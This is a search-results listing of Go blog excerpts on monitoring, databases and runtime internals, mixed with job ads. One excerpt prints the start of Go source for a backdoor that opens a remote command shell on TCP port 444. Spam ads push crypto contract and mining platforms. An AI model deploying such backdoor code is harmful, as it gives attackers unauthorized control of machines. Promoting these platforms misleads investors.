Go语言中文网 为您找到相关结果 356

Prometheus + Clickhouse + Grafana 架构安装

1. 安装 PrometheusPrometheus 生态 由于原生 tsdb 性能的限制,经过性能测试选用 Clickhouse 作为第三方数据库,提升其大数据读写性能1)下载并解压 wget https://github.com/prometheus/prometheus/releases/download/v2.3.2/prometheus-2.3.2.linux-amd64.tar.gz tar -xvf prometheus-2.3.2.linux-amd64.tar.gz 2)进入并执行 cd prometheus-2.3.2.linux-amd64 ./ prometheus (调试时使用) nohup ./prometheus --config.file=prometheus...阅读全文

博文 2019-01-10 11:34:42 pigness

虚拟币永续合约交易平台开发,助您引领数币交易新方向

随着数字货币期货的快速发展,广大用户看到了期货合约可以套期保值这一优势,并大力投身于合约交易之中。针对于资产量较大的用户来说,传统的周合约、季度合约已经满足不了他们的需求,永续合约不需要交割的特点更人性化,且永续合约结算快,有效提升了市场活跃度,也加大了投资者风险对冲、套期保值的机会。互融云推出的永续合约交易系统支持双向交易,多杠杆,多风险控制,风险管控分为警戒线,禁止开仓线,强平线,降低用户风险率;并且平台引入了用户和平台对赌,以及代理商推荐返佣机制,推动了平台用户的发展。一、系统角色 二、交易流程 三、K线来源交易主要依靠外部交易所大盘行情进行交易 四、合约模型设计► 交易方式:市价交易、限价交易► 合约周期:无定时交割时间,用户可自由选择交割时间► 隔夜费设置:用户购买每超过24小时则...阅读全文

博文 2019-06-13 13:32:44 快乐的蒸饺

六大下一代Docker监测工具

![alt 文本](http://blog.tenxcloud.com/wp-content/uploads/2015/09/docker%E7%9B%91%E6%B5%8B%E5%B7%A5%E5%85%B7-300x227.jpg ) 容器:这里面什么才是最重要的?container monitoring,一项可以帮助你了解容器内发生什么以及让你获得某种支持的技术,随着Docker自身的monitoring 和 introspection技术API的成熟,已经有最新一波的容器监测技术利用到它们。 以下列举6个Docker相关的监测App和服务,从简单的开源工具到复杂的企业整体解决方案。 ## cAdvisor 谷歌的container introspection...阅读全文

go语言

Go 中文社区 Go官方网站 http://golang.org/ Go中文官网 http://golang-china.org/ 中文论坛(测试中…) http://bbs.golang-china.org/ 中文用户讨论组(邮件) https://groups.google.com/group/golang-china/ 中文翻译(SVN) http://code.google.com/p/golang-china/ GitHub与Google Code同步(GIT) http://github.com/border/golang-china QQ群: 102319854(申请加入请到中文论坛留言) Go中文文档翻译计划 Install Go 初稿完成 Go Tutorial 初稿完成 ...阅读全文

博文 2014-10-16 12:00:06 u012867952

ubuntu上golang1.5.1安装

如果从golang1.5.1源码安装go的话,需要系统上go1.4的支持,也就是说安装go1.5之前需要先安装go1.4。另外,安装go1.4时,编译的时间也会因系统配置的不同而编译时间不同,于是索性下了golang1.5.1编译后的可执行文件包:go1.5.1.linux-amd64.tar.gz。 部署如下: 1.解压: root@ubuntu:/usr/local# tar -xzvf go1.5.1.linux-amd64.tar.gz 2. /etc/profile文件最后添加如下内容: export GOROOT=/usr/local/go export GOPATH=/home/tjy/go-ws export PATH=$GOROOT/bin:$GOPATH/bin:$PAT...阅读全文

互融云数字货币永续合约交易系统开发

合约交易是从数字货币行情大跌之后,成为越来越多人喜欢使用的一种数币投资手段。在近期比特币大涨的情况下,投资者面对市场不明以及比特币越长越高的投资成本,使得大家变得畏畏缩缩。这时,合约交易的出现,成为了一匹大家争相追逐的黑马,它直接跳过数字货币持有实物这一环节,针对数字货币未来的涨跌进行下注,通过合约杠杆放大投资收益。互融云推出的永续合约交易系统支持双向交易,多杠杆,多风险控制,风险管控分为警戒线,禁止开仓线,强平线,降低用户风险率;并且平台引入了用户和平台对赌,以及代理商推荐返佣机制,推动了平台用户的发展。 互融云数字货币永续合约交易系统介绍:1)合约模型设计交易方式:市价交易、限价交易合约周期:无定时交割时间,用户可自由选择交割时间隔夜费设置:用户购买每超过24小时则会收取隔夜费合约单位:...阅读全文

博文 2019-08-02 21:32:42 互融云软件

招聘招聘~靠谱公司招募Golang工程师~搭建Dokcer私有云。

职位描述 1. 基于上百PB级别的大数据平台,保障系统24×7稳定运行; 2. 和架构团队一起持续优化线上系统,并进行前瞻性容量规划; 3. 设计和实现数据业务线监控报警系统、自动构建部署系统、集群部署系统、数据资产管理系统等; 4. 积累并规范化系统运维的最佳实践并文档化; 5. 开发运维自动化工具,持续提升工作内容的自动化比例。 职位要求 1. 有至少1年的Linux系统使用和管理经验; 2. 熟悉至少1种关系型数据库(如MySQL、SQL Server等); 3. 熟悉常见应用配置及优化,如Nginx / MySQL/ DNS/ Postfix等; 4. 有1年以上Python或golang开发经验; 5. 了解...阅读全文

TiDB 集群的入门与实战

本文耗时较长,包括实战演练以及经验总结。我很早就接触了 TiDB ,但一直都是单机版,最近对大数据存储、性能、可扩展性有所要求,所以对 TiDB 需要更深的了解,首先就是搭建一个测试集群环境,只有真正用了才知道适不适合。本文是我对搭建 TiDB 集群的入门和实践过程的纪要,希望对大家有所帮助,在这里也要特别感谢 PingCAP 团队给以的鼎力帮助,?。本文分为以下几个方面来进行介绍:准备工作安装、配置调试监控总结参考资料准备工作服务器配置官方建议的 TiDB 集群最低配置为 6 台机器。2 个 TiDB 实例,第一台 TiDB 机器同时用作监控机;(与 PD 实例公用)3 个 PD 实例;(公用)3 个 TiKV 实例;(单独使用)所需服务器的配置要求:NameCPU内存磁盘数量总价tikv...阅读全文

博文 2017-09-18 01:23:26 杨文

IDEA 专门发布了一个golang的IDE叫Goland

非常好的IDE,叫goland。 支持最新的golang1.8了 下载地址: https://www.jetbrains.com/go/ 开始使用手册: https://www.jetbrains.com/help/go/1.0/getting-started-with-gogland.html 只有一直都是使用java的ide然后在加上go plugin进行开发的。 有新的ide就用新的吧。 golang也发展到了1.8的版本更新速度快啊。 下载地址: https://golang.org/dl/ 最近的项目开始慢慢的使用golang进行开发了。 简单快速高效,是java不能比拟的。 $(function () { $('pre.prettyprint code').each(functi...阅读全文

博文 2017-07-12 10:27:28 freewebsys

用Golang实现一个服务器性能实时监控程序

学习一下Golang,语法不过关还在慢慢摸索 基于gopsutil写了一个可以在不同os环境定时运行的监控程序,可以定期记录该服务器配置、实时CPU、实时内存等信息。后期本人应用主要是通过Web方式采集并可视化多个服务器的性能信息,结合服务请求数据、提供服务器性能瓶颈和扩展的基础数据支撑,以下为生成的JSON格式文件样例(按日期生成Log文件) image.png image.png 目前程序默认间隔时间为15秒,空置时间为每天21点-次日8点,需要调整的可以自行修改 或直接下载 源码地...阅读全文

如何设计一个麻雀般的微型分布式架构?

欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 本文由mariolu 发表于云+社区专栏 序言(初衷) 设计该系统初衷是基于描绘业务(或机器集群)存储模型,分析代理缓存服务器磁盘存储与回源率的关系。系统意义是在腾讯云成本优化过程中,量化指导机房设备扩容。前半部分是介绍背景,对CDN缓存模型做一些理论思考。后半部分会实际操作搭建一个微型但是五脏俱全的分布式通用系统架构,最后赋予该系统一些跟背景相关的功能,解决成本优化中遇到的实际问题。 缓存服务器存储模型架构(背景): img 图1 存储模型 腾讯CDN的线上路由是用户à分布于各地区各运营商的OC->SOC->SMid->源站。各个层级节点部署的都是缓存服务器。来自用户的部分请求流量命中服务器,另一部分产生回源流量。 随着业务带宽自...阅读全文

博文 2018-09-06 19:34:39 腾讯云加社区

Go Hashmap内存布局和实现

想了解Go内置类型的内存布局的契机,是一次在调试“不同类型的小对象频繁创建对gc性能的影响”时发现map的gc性能不佳,而作为对比的包含slice的struct却很好。这里总结Go runtime里map的实现,可以解释这个问题。 hash table内部结构Go的map就是hashmap,源码在src/runtime/hashmap.go。对比C++用红黑树实现的map,Go的map是unordered map,即无法对key值排序遍历。跟传统的hashmap的实现方法一样,它通过一个buckets数组实现,所有元素被hash到数组的bucket中,buckets就是指向了这个内存连续分配的数组。B字段说明hash表大小是2的指数,即2^B。每次扩容会增加到上次大小的两倍,即2^(B+1)...阅读全文

博文 2017-12-18 13:58:29 nino's blog

比特挖矿系统开发源码模式,比特挖矿平台定制费用

云比特CBT虚拟币挖矿系统开发找蒙响:180-2851-8109,可电可微,云比特CBT系统技术开发,云比特CBT系统软件开发APP,云比特挖矿系统矿机模式开发,现成云比特系统开发,云比特矿机系统模式设计开发。 Solidity是新型的,就像Golang。2014年,Christian Reitwiessner和他的团队发布了这份报告。值得注意的是,在过去的两年里,由于各种各样的初创公司涌入市场,这个生态系统已经增长了数百倍。因此,Solidity拥有庞大的用户基础。其标准(ERC20)已成为行业的主要产品。 Solidity是OOP和面向联系的语言。Solidity的语法类似于JavaScript,但与C++和Python也有一些相似之处。尽管早期阶段,Solidity是一种函数语言,它提...阅读全文

博文 2019-05-22 17:34:41 bacuojiu

双轨制会员积分系统

简要的说:双轨制会员积分系统模拟分销,代理的逻辑相互推荐节点的产生1倍增2的原理。 奖金计算已经搞定,方便积分商城,分销融资系统二次开发和扩展。 演示地址:[http://124.173.125.140:2000](http://124.173.125.140:2000/) 用户名:15100000000 密码:123456 **开发和运行环境:** 具备linux系统环境: 安装好 nginx 修改 nginx.local.conf 中的静态文件指向 ( kingbloc.web ) 本地目录 mysql 数据库 redis 缓存工具 更改配置(.ini)文件数据库链接信息 开发语言:golang1.8+ ;数据库映射:XORM 消息系统:Nsq; 键值存储:Et...阅读全文

Go监控目录变化小程序.

package main import ( "flag" "log" "os/exec" "strings" "sync" "time" "github.com/go-fsnotify/fsnotify" ) var ( sleeptime int path string cmd string args []string ) func init() { flag.IntVar(&sleeptime, "t", 30, "-t=30") flag.StringVar(&path, "p", "./", "-p=filepath or dirpath") flag.StringVar(&cmd, "c", "", "-c=command") str := flag.String("a", "",...阅读全文

博文 2015-10-25 02:00:05 fyxichen

GO语言区块链交易系统开发工程师

岗位描述:GO语言区块链交易系统工程师 一:岗位要求 1. 逻辑能力强. 思维活跃,接受新事物能力强; 2. 性格开朗乐观,责任心强,积极主动,善于沟通,具有团队精神; 3. 具有较强的学习沟通和口头表达能力; 4. 熟悉开源项目,IBM Hyperledger. Ethereum. siacoin. bitcoin; 5. 熟悉golang语言,精通JAVA/Python/C++/Go/PHP/solidity等语言经验中至少两种编程语言或其他开发语言, 具有良好的编程习惯和风格 6. 熟悉区块链的原理. 技术. 熟悉加密技术. 可以用golang开发部分代码; 7. 有github开源项目. 熟悉开源项目流程. 有良好的英文阅读能力的优先。 8. 本科及以上学历,...阅读全文

小团队从0搭建devOPS平台-Alertmanager报警平台

上一篇(https://www.jianshu.com/p/b15217e8f24f )文章简单介绍了监控神器prometheus的安装、配置、可视化等的使用。这篇我们来讲讲报警。 我们先简单回顾下prometheus的功能和原理。 prometheus总体架构图.png 从上图可以看出通过各种exporter采集数据后,prometheus把各种metrics(指标)统一pull到时间序列数据库中后,我们可以在可视化平台比如grafana显示后,如果有某些指标有异常可以把异常信息push推送给 alertmanager报警平台,报警平台进行处理后notify通知给指定的通道和指定的人。 这时候该Alertmanager报警平台登场了。 一、 Prometheus Alertmanager报...阅读全文

博文 2019-08-21 20:02:40 jerry区块链技术与思维

弄懂goroutine调度原理

[原文地址:https://bingjian-zhu.github.io/2019/09/12/%E5%BC%84%E6%87%82goroutine%E8%B0%83%E5%BA%A6%E5%8E%9F%E7%90%86/](https://bingjian-zhu.github.io/2019/09/12/%E5%BC%84%E6%87%82goroutine%E8%B0%83%E5%BA%A6%E5%8E%9F%E7%90%86/) ### goroutine简介 >golang语言作者Rob Pike说,**“Goroutine是一个与其他goroutines 并发运行在同一地址空间的Go函数或方法。一个运行的程序由一个或更多个goroutine组成。它与线程、协程、进程等不同。它是...阅读全文

博文 2019-09-12 19:35:26 939496716

windows下进程监控

windows下的进程程序可能会因为某种未知原因突然挂掉,简单做一个进程的监控程序,时刻监控程序,程序挂掉后1s后重新启动。![image.png](https://static.studygolang.com/171026/773d08d30238fc6481c0458027b21987.png)![image2.png](https://static.studygolang.com/171026/1ab1467d13bc0cccfc1bb188b860aa04.png) 关闭监控的程序中启动的函数startprocess(),创建的进程,会随监控程序的关闭而关闭,也没有找到合适的办法,请大家指教...阅读全文

博文 2017-10-26 03:54:19 richardwang

刚入门Go的亲进来一起讨论下呗~

最近在开始学Go语言,想问下大家自学都用什么资料呀,我就在网上找了个中文版的手册:https://cloud.tencent.com/developer/doc/1101,还有会经常上论坛看下,刚入门其实很多问题也不太懂。所以大家还有什么好的网站推荐可以用来自学的吗?一起share下呀,感激不尽...阅读全文

Go 在 Google I/O 2011 的视频

Google I/O 2011 的官方视频大部分都已经放出了。昨天 Golang 团队也发布了 Google I/O 2011 上关于 Go 的相关视频。 由于众所周知的原因,大家不能拜访“油吐伯”。所以视频我放到土豆上了。 大家看到的这个蓝色毛绒公仔叫“Gopher”,很有爱的 Golang 吉祥物,这次也出现在 Google I/O 2011 的现场。 不知道能不能搞到一个正版的。其实我严重怀疑这个来自悉尼的公仔是东莞产的……你们懂…… 用 Go 编写 Web 应用 演示文稿下载(英文) 这个演讲通过一步步开发并部署第一个 Go App Engine 应用:Moustachio,展示了 Go 版本的 App Engine 的应用开发。 Go 实例 演示文稿下载(英文) 这是在 I/O B...阅读全文

博文 2014-10-09 16:15:37 mikespook

prometheus比zabbix好在哪点?

分享网易云轻舟微服务选择基于 Prometheus 开发微服务监控系统的考量: 开源 云原生 与微服务监控需求的匹配度很高 开源Prometheus是CNCF(云原生计算基金会)旗下成熟的开源项目,而开源技术栈是网易云坚定不移的选择,不仅因为选择主流开源项目可以站在巨人的肩膀上创新,规避重复造轮子的浪费,更因为开源开放让客户无需担心厂商锁定。Prometheus拥有活跃的社区,在GitHub 上获得的 star 数超过了 2 万,符合网易云的选择。云原生作为CNCF组织第二个毕业的开源项目,Prometheus与它的“师兄”Kubernetes都自带云原生的光环,天然能够友好协作,而网易云轻舟微服务另一个重要组件——容器服务正是基于开源Kubernetes深度定制优化的(当然轻舟微服务的服务...阅读全文

博文 2019-01-04 14:34:47 网易云社区

360基于Prometheus的在线服务监控实践

女主宣言本文源自8月9日『DBAplus社群』的直播间分享,分享人是360HULK私有云平台addops团队赵鹏,本文为『DBAplus社群』公众号首发,已授权转载。PS:丰富的一线技术、多元化的表现形式,尽在“HULK一线技术杂谈”,点关注哦!主题简介:Prometheus基础介绍Prometheus打点及查询技巧Prometheus高可用和服务发现经验初衷最近参与的几个项目,无一例外对监控都有极强的要求,需要对项目中各组件进行详细监控,如服务端API的请求次数、响应时间、到达率、接口错误率、分布式存储中的集群IOPS、节点在线情况、偏移量等。比较常见的方式是写日志,将日志采集到远端进行分析和绘图,或写好本地监控脚本进行数据采集后,通过监控系统客户端push到监控系统中进行打点。基本上我们...阅读全文

博文 2017-08-31 03:22:49 赵鹏

上海证券交易所内部直招18K-30K招Go运维开发工程师

金融科技公司,中国资本力量需要你为Fintech 贡献力量。 在这里你可以尝试做新技术的尝试,例如区块链的交易技术,接触到核心竞价撮合系统,我们采用大量的开源系统来构筑交易监管环境 您将会参与到公司Paas类产品的前端及后端系统研发, 帮助我们构建一个高可用,高性能的系统。 负责云计算平台Web程序开发。 负责云计算产品API开发。 最后,我们痛恨"“勤劳”", 希望您也能一起来完善和改进我们的开发,测试,运维,运营等一系列自动化工具。 工作要求: 1. 精通Unix/Linux操作系统下的后台开发 2. 熟悉HTTP,TCP/IP等网络协议,熟悉网络编程 3. 熟练掌握数据库设计优化、缓存、负载均衡等技术; 4. 扎实的软件知识结构(操作系统、软件工程、设计模式...阅读全文

【钱旺】高薪诚聘IM后端架构师大牛加入(社交媒体)

职位描述: 负责公司核心IM(即时通信)系统服务器端模块设计、实现, 包括不限于消息底层编解码,大并发连接处理,语音通信,视频通信能力。 职位需求: - 4年以上相关工作经验,精通Go的语言特性以及后端系统架构 - 熟悉各种SQL、NoSQL数据库应用场景 - 有使用golang构建大型IM系统的经验,给公司当前im系统增加实时视频,实时语音等能力。 - 优异的沟通能力 高端大气上档次的办公环境,开放式办公,咖啡吧提供下午茶点心,五险一金待遇优厚,周末双休 公司地址:上海市静安区南京西路1266号恒隆广场一期58楼 有意向者,可将简历发送至xuejing@qbao.co...阅读全文

【云安全课程】云平台使用安全

课程介绍 阿里云大学Apsara Clouder云安全专项技能认证:云平台使用安全 您还在担心阿里云官网的帐号单凭密码登录不够安全?还在为服务代维时工程师的权限过大而产生风险?或者您作为系统管理员还在寻求一个完美的系统监控方案?也可能因为购买了不同批次的云资源导致续费工作太复杂,偶尔会导致数据丢失。通过这门精心设计的在线课程+动手实验,您可以轻松Get到这些技能。 云平台使用安全认证旨在帮助学员了解由传统IT到云计算架构的变迁过程、当前信息安全的现状和形势,以及在云计算时代不同系统架构中应该从哪些方面利用云平台的优势使用安全风险快速降低90%,特别是如何用好阿里云的帐户安全和云资源管理策略做好云上资产的安全管理,是企业上云的必备技能。 课时列表 • 免费 课时1...阅读全文

Golang 写的后门程序

package main import ( "fmt" "net" "os/exec" "strings" ) var left = "#shell:" func main() { ln, err := net.Listen("tcp", ":444") buffRecv := make([]byte, 128) if err != nil { err.Error() } for { conn, err := ln.Accept() showMSG(conn) if err != nil { continue } c := []byte(left) for { conn.Write(c) length, err := conn.Read(buffRecv) if length == 10 {...阅读全文

博文 2015-02-10 19:00:01 未来还没来

如何学习c语言 零基础20天学会C语言

C语言开发 学习C语言不是一朝一夕的事情,但也不需要花费十年时间才能精通。如何以最小的代价学习并精通C语言是本文的主题。请注意,即使是“最小的代价”,也绝不是什么捷径,而是以最短的时间取得最多的收获,同时也意味着你需要经历艰苦的过程。在这里插入图片描述 一、要读就读好书,否则不如不读 所有初学者面临的第一个问题便是:如何选择教材。好的开始是成功的一半,选择一本优秀的教材是事半功倍的关键因素。不幸的是,学校通常会帮你指定一本很差劲的C语言课本;而幸运的是,你还可以再次选择。 大名鼎鼎的谭浩强教授出了一本《C语言程序设计》,据说发行量有超过400万,据我所知,很多学校都会推荐这本书作为C语言课本。虽然本人的名字(谭浩宇)跟教授仅仅一字之差,但我是无比坚定地黑他这本书的。加下群731871503这...阅读全文

博文 2019-01-17 17:47:34 wenpeng231

Rust中文社区上线了在线中文论坛

现在Rust中文社区形成了Rust中文文档中心和在线中文论坛,相辅相成致力于Rust语言中文网络! 访问论坛是直接访问 https://rustlang-cn.org 通过导航栏论坛访问,所以不需要在多记住一个地址!同时论坛的文档即为跳转到主站所以文档中心与中文论坛相辅相成...阅读全文

博文 2019-01-12 12:34:38 krircc

Go 语言参考手册

![微信截图_20210816201737.png](https://static.studygolang.com/210816/10204ba4c1d0e9bb5820a8b54d2ab64d.png) 由于篇幅过过长,无法作为文章发布,这里截图给大家。 可以去Github自行下载PDF档! ![微信截图_20210816201945.png](https://static.studygolang.com/210816/9a2893cb4b63a59941098c60763e7375.png) 下载链接:https://github.com/0voice/Introduction-to-Golan...阅读全文

【云安全课程】云平台使用安全

课程介绍 阿里云大学Apsara Clouder云安全专项技能认证:云平台使用安全 您还在担心阿里云官网的帐号单凭密码登录不够安全?还在为服务代维时工程师的权限过大而产生风险?或者您作为系统管理员还在寻求一个完美的系统监控方案?也可能因为购买了不同批次的云资源导致续费工作太复杂,偶尔会导致数据丢失。通过这门精心设计的在线课程+动手实验,您可以轻松Get到这些技能。 云平台使用安全认证旨在帮助学员了解由传统IT到云计算架构的变迁过程、当前信息安全的现状和形势,以及在云计算时代不同系统架构中应该从哪些方面利用云平台的优势使用安全风险快速降低90%,特别是如何用好阿里云的帐户安全和云资源管理策略做好云上资产的安全管理,是企业上云的必备技能。 课时列表 • 免费 课时1...阅读全文

VirtualApi (CTP回测神器穿透式监管版本)Ver2.4重磅发布

官网: http://www.virtualapi.cn2019年6月14日开始实行穿透式监管了,CTP也升级了版本,本次VirtualApi的更新就是增加了对CTP穿透式新版本的支持。Ver2.4提供最新的CTP穿透式版本的VirtualApiVer2.3增加对查询投资者持仓响应OnRspQryInvestorPosition增加对查询资金账户响应OnRspQryTradingAccount回调支持Ver2.2功能升级Ver2.1修复了MD和TD资金数据同步的Bug增加配置文件setting.ini,可以通过修改setting.ini自由设置(1)初始资金(2)开仓手续费(3)平仓手续费(4)滑点Ver2.0修复在某些软硬件环境下回测的死锁问题Ver1.1~Ver1.9完善功能修复BugV...阅读全文

博文 2019-10-24 12:32:50 aside section._1OhGeD

撮合引擎开发:开篇

撮合引擎开发:开篇 撮合引擎开发:MVP版本 撮合引擎开发:数据结构设计 撮合引擎开发:对接黑箱 撮合引擎开发:解密黑箱流程 前言 自从有人在微信群里开价5万求购Golang版的撮合引擎之后,我就想自己开发一款,毕竟,以我的经验来说,开发个高性能的撮合引擎并没什么难度。 说干就干,于是,利用业余时间慢慢开发出了一款Golang版的高性能撮合引擎,前前后后花了大概一个月的时间。再想想自己好久没更新文章了,我的个人IP都已经生锈了,也应该发大招磨一磨了。因此决定,干脆就以连载的方式,分享下我是如何设计与实现这款价值超5万的撮合引擎的。 本来,想发成掘金小册,收点稿费,毕竟这是个具有很大商业价值的软件,但问了掘金的人员,他们目前不接收这类主题。最终决定免费发布,还可以多发几个渠道,说不定还能给我多...阅读全文

prometheus自定义metrics

项目地址 个人博客 日常项目开发过程中为了观察项目的线上运行指标通常需要项目提供一系列指标信息,我们目前用的prometheus,而项目当然要提供一系列prometheus metrics指标信息,但是默认官方golang的仓库不是很好用。 所有指标全部保存在内存重启后会全部清零 如果指标labels数量变更,无法重新注册,unregister貌似无效 无法定时清除数据,比如我想观察某些指标每一天的数据 web服务很多通用的http接口指标需要重复定义并自己定义中间件收集 于是乎找到github上一个很好的项目,可以满足上面所有需求可以大多数一般项目开发过程中的metrics需求,使用起来也比较简单。下面来自项目READEME: lib-metrics image.png GoDoc Dep...阅读全文

博文 2019-10-01 00:32:46 aside section ._1OhGeD

文件变更监听通知系统fileboy

fileboy,文件变更监听通知系统,使用 GO 编写。 适用于 Hot Reload (典型的如开发go项目,无需每次手动执行 go build;又比如前端 node 打包) 或者 系统监控的场景。 go version >=1.10 [正式版 v1.0](https://github.com/dengsgo/fileboy/releases) 直接下载已经编译好的对应平台二进制文件,加入系统 Path 中即可。 clone 该项目,进入主目录,运行命令: fileboy 的正常运行依赖于 `filegirl.yaml` 配置,所以首次在项目中使用需要初始化 `filegirl.yaml`。 进入你想要 hot reload 的项目主目录下; 运行 `fileboy ...阅读全文

Golang学习笔记一:语言规范

引言 Golang参考手册,更多内容请参考http://golang.org 语言规范参考自https://golang.org/ref/spec 词汇元素 注释 行注释: // comment content 段注释:/* comment content */ 符号 符号有4类:标识符、关键字、操作符和分隔符、字面常量 分号 golang中,分号可省略 标识符 标识符即程序中的变量和类型,有一个或多个字母或数字组成,第一个字母必须字母开头。 identifier = letter { letter | unicode_digit } 关键字 标识符不能是golang中的保留关键字 break default func interface select case defer go map s...阅读全文

博文 2015-10-10 23:00:00 scherrer

Go语言开发工具 LiteIDE x10 发布

GO语言开发工具liteide x10发布,更新了GO调试插件。 LiteIDE项目: 操作系统: Windows / Linux x86 / Linux x86_64 / MacOS X 10.6 项目主页: http://code.google.com/p/golangide 项目源码 : http://code.google.com/p/liteide 讨论组: http://groups.google.com/group/liteide-dev 下载链接: http://code.google.com/p/golangide/downloads/list IDE基本特性: 以MimeType为基础构建的IDE环境变量管理和切换功能源码编译系统管理和切换功能简洁和开放的调试系统KATE...阅读全文

互融云数字货币永续合约交易系统开发

前几年比特币的崛起让数字货币这一概念走进了人们的视野,数字货币这一去中心化的新货币系统也在短短几年时间内凭借其特点席卷全球,而随着数字货币一起崛起的区块链技术也是水涨船高,对于数字货币和区块链可能很多人都是比较懵懂的状态,但是不少具有前瞻性思维的人已经在数字货币上吃到了甜头,这其中比较收人关注的就是数字货币交易系统。互融云推出的永续合约交易系统支持双向交易,多杠杆,多风险控制,风险管控分为警戒线,禁止开仓线,强平线,降低用户风险率;并且平台引入了用户和平台对赌,以及代理商推荐返佣机制,推动了平台用户的发展。互融云数字货币永续合约交易系介绍1)合约模型设计交易方式:市价交易、限价交易合约周期:无定时交割时间,用户可自由选择交割时间隔夜费设置:用户购买每超过24小时则会收取隔夜费合约单位:手/张...阅读全文

博文 2019-08-27 13:32:48 互融云软件

互融云虚拟币永续合约交易-数字货币永续合约交易

互融云虚拟币永续合约交易-数字货币永续合约交易现在认识比特币价值的人越来越多了,反映到交易市场里面,可以开杠杆操作的合约交易最火。合约交易又分成交割合约和永续合约,前者是早期的玩法,后者是比较新的玩法。现在各大交易所都传出要开通自己合约交易功能的消息。全球领先数字资产交易平台OKEX不断创造着币圈一个又一个纪录,践行着自己安全、创新、可信赖的承诺。据了解,从2018年12月至4月底,OKEX永续合约上线4个月以来,OKEx合约总成交额达4500亿美金,单日最高成交额突破120亿美金,创行业之最。永续合约运行稳定,期间共上线BTC、LTC、ETH、XRP、EOS、BCH、TRX等九个币种,成交额突破350亿美金,并且实现全币种零分摊。随着数字货币期货的快速发展,广大用户看到了期货合约可以套期保...阅读全文

博文 2019-08-05 20:32:40 北京互融时代

统计收集和分布式追踪框架OpenCensus

OpenCensus 是 Google 开源的一个用来收集和追踪应用程序指标中立厂商的第三方库,能够减少应用的部署与构建成本,尤其适合微服务架构。 OpenCensus 有各种不同的编程语言编写的版本,包括 Go、Java、PHP、C++、Python 等等。它旨在帮助开发者更容易收集和提交跟踪应用程序指标。这是一个中立的单一库发行,可自动收集和跟踪应用指标,可在本地显示,也可将其发送到分析工具。 OpenCensus 目前支持 [Prometheus](https://prometheus.io/)、[SignalFX](https://signalfx.com/)、[Stackdriver](https://cloud.google.com/stackdriver/) 和 [...阅读全文

互融云数字货币永续合约交易系统搭建-永续合约交易APP出售

互融云数字货币永续合约交易系统搭建-永续合约交易APP出售永续合约是一种不会进行最终交割的期货合约,目前的主要形式是滚动合约,当日结算并自动展期,并由多头向空投支付资金费用。互融云作为国内领先的数字资产交易所系统开发商,用实际行动践行着安全创新可信赖的理念,前进的脚步从不停歇。在合约产品上,凭借着深厚的底蕴经验加完美的交易机制,互融云合约交易系统已经成为企业手中必不可少的亮点产品,永续合约交易系统便是其中之一:1)系统特点经过多轮测试,保证了K线的稳定性永续合约采用的是springboot提供微服务,合约账户进行了加密,确保资金安全通过专用的golang脚本稳定高效的抓取和修复k线数据通过多线程和特有算法以及专用并发锁来快速及时的计算并分析风险率并进行相应的处理,保证平台的利益合约下单采用r...阅读全文

博文 2019-10-14 15:33:16 aside section ._1OhGeD

通过vsphere golang webservice sdk 获取vmware主机、虚拟机的监控数据【一】

目前正在使用prometheus对我们的openstack云环境进行监控,但过了半年测试环境的主机资源迟迟未到位,因此和基架沟通是否有传统环境的需求可以做,提到了cmdb和商业监控的替换。但基架又不想我们再到每台虚拟机上去安装agent,因此需要通过vSphere Web Service API抓取测试环境34台主机、1600台虚拟机的监控数据。 经过两个星期的研究,第一稿监控vmware vcenter的prometheus exporter开发完成,一次抓取1600多台主机、虚拟机的cpu mhz、mem mb、disk io、net io大概耗时在1分钟左右。 exporter使用go语言编写,使用vsphere的govmomi sdk。 sdk地址:https://github.co...阅读全文

博文 2017-09-15 04:03:21 一路向北的兔斯基